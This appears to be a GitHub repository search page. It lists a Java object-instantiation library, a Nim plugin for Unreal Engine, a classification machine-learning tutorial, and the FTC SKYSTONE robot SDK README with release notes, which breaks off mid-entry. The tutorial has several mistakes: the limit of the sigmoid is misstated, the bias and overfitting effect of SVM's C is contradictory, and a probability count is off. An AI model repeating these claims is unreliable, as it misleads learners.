Found 1,834 repositories(showing 30)
easymock
Okay, it's pretty easy to instantiate objects in Java through standard reflection. However there are many cases where you need to go beyond what reflection provides. For example, if there's no public constructor, you want to bypass the constructor code, or set final fields. There are numerous clever (but fiddly) approaches to getting around this and this library provides a simple way to get at them. You will find the official site here.
jmgomez
Nim plugin for UE5 with native performance, hot reloading and full interop that sits between C++ and Blueprints. This allows you to do common UE workflows like for example to extend any UE class in Nim and extending it again in Blueprint if you wish so without restarting the editor. The final aim is to be able to do in Nim what you can do in C++
sayantann11
Classification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 